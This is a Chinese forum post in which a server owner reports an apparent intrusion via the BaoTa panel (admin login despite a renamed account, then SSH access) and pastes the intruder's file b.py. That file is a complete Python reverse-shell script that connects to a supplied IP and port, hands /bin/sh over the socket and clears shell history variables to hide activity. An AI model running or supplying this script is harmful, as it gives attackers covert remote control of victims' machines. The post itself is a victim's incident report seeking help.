|
难道是宝塔的bug?
他先登陆了宝塔 然后建了个b.py
但是宝塔我都更改了默认用户名的 他还是用admin登陆成功了
然后登陆了ssh 我正准备睡觉呢 收到了阿里云的通知 我就先关机了
py内容
- # -*- coding:utf-8 -*-
- #!/usr/bin/env python
- """
- back connect py version,only linux have pty module
- code by google security team
- """
- import sys,os,socket,pty
- shell = "/bin/sh"
- def usage(name):
- print 'python reverse connector'
- print 'usage: %s <ip_addr> <port>' % name
- def main():
- if len(sys.argv) < 3:
- usage(sys.argv[0])
- sys.exit()
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- if sys.argv[3] == 'udp' :
- s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- except:pass
- try:
- s.connect((sys.argv[1],int(sys.argv[2])))
- print 'connect ok'
- except:
- print 'connect faild'
- sys.exit()
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- global shell
- os.unsetenv("HISTFILE")
- os.unsetenv("HISTFILESIZE")
- os.unsetenv("HISTSIZE")
- os.unsetenv("HISTORY")
- os.unsetenv("HISTSAVE")
- os.unsetenv("HISTZONE")
- os.unsetenv("HISTLOG")
- os.unsetenv("HISTCMD")
- os.putenv("HISTFILE",'/dev/null')
- os.putenv("HISTSIZE",'0')
- os.putenv("HISTFILESIZE",'0')
- pty.spawn(shell)
- s.close()
- if __name__ == '__main__':
- main()
复制代码
阿里云
loc.jpg
(15.63 KB, 下载次数: 2)
|
|